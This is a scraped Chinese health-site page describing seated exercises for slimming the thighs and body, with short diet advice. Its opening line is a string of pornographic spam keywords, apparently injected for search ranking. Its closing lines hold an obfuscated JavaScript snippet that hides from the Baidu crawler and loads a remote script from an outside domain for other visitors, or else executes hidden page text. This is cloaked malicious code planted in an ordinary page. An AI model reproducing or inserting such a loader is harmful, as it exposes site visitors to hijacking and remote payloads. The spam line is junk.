亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁(yè) > 減肥 > 運(yùn)動(dòng)減肥 > 正文

瘦身瘦腿體操的做法

2017-04-22 23:47:17  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):瘦身瘦腿是很多女孩子每天的夢(mèng)想,如果女人的腿部和腰部還有身體全部都能瘦下來(lái)的話,那么這樣的女人看起來(lái)也是非常舒服的,非常的有氣質(zhì),

瘦身瘦腿是很多女孩子每天的夢(mèng)想,如果女人的腿部和腰部還有身體全部都能瘦下來(lái)的話,那么這樣的女人看起來(lái)也是非常舒服的,非常的有氣質(zhì),隨便穿上什么衣服都是非常好看的,瘦身瘦腿的時(shí)候是有很多運(yùn)動(dòng)可以幫助調(diào)整的,瘦身和瘦腿運(yùn)動(dòng)一定要堅(jiān)持下來(lái),時(shí)間長(zhǎng)久減肥效果也更好,那么瘦身瘦腿的體操做法有哪些?

動(dòng)作一

1.挺直腰背坐在椅子上,雙腿保持并攏狀態(tài)。

2.雙手的手掌心朝向大腿,放進(jìn)大腿內(nèi)側(cè)大腿根的位置。

3.雙手把大腿的肌肉往上提起,并且兩手用力向外,好像要用手打開(kāi)雙腿那樣。注意,手的位置仍然要保持在大腿根處。腿部用力,用力方向和手部動(dòng)作相反,讓左右兩邊膝蓋靠緊。

4.接著3的動(dòng)作,點(diǎn)起腳尖,抬起腳后跟,做這個(gè)動(dòng)作時(shí)要左右兩腳輪流做抬起腳尖的動(dòng)作。在習(xí)慣動(dòng)作之前不要勉強(qiáng),習(xí)慣之后動(dòng)作重復(fù)30次。

每天早、晚各做1次。

動(dòng)作二

1.挺直腰背坐在椅子上,盡量打開(kāi)雙手。

2.保持兩手盡量打開(kāi)的狀態(tài),用手從外側(cè)抱住兩邊大腿的內(nèi)側(cè)。

3.用左右兩只手,向外輕輕地抓住大腿內(nèi)側(cè)的肌肉。

4.保持動(dòng)作3的姿勢(shì),左右腳輪流做點(diǎn)起腳尖的動(dòng)作。在習(xí)慣動(dòng)作之前不要強(qiáng)求次數(shù),當(dāng)習(xí)慣了動(dòng)作之后,動(dòng)作重復(fù)做30次。

升級(jí)版動(dòng)作一

挺直腰背,翹腿做在椅子上。保持這樣的狀態(tài),手放入臀部下方,并且保持掌心朝上。手包住臀部下方的肌肉,并且向外側(cè)拉。接著前面的動(dòng)作,往上翹起腳尖,讓膝蓋往身體的方向拉伸。動(dòng)作不變,左右兩腿各重復(fù)該動(dòng)作30次。

升級(jí)版動(dòng)作二

挺直腰背坐在椅子上,雙腿交叉搭在一起。兩手手掌放進(jìn)大腿根部,手往上提起大腿內(nèi)側(cè)的肌肉,并且向外側(cè)推。接著前面的動(dòng)作,大腿用力并靠在一起。該動(dòng)作左右兩邊各重復(fù)做30次。

瘦身瘦腿的時(shí)候可以試試這樣的體操,這些體操都是可以得到健身和減肥的效果,瘦身瘦腿的時(shí)候可以多走動(dòng)走動(dòng),幫助自己腸道消化,如果消化不良的話那么就會(huì)影響到自己的減肥結(jié)果,在瘦身瘦腿期間少吃多動(dòng),少吃多餐,多喝點(diǎn)牛奶,幫助自己改善腸道。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}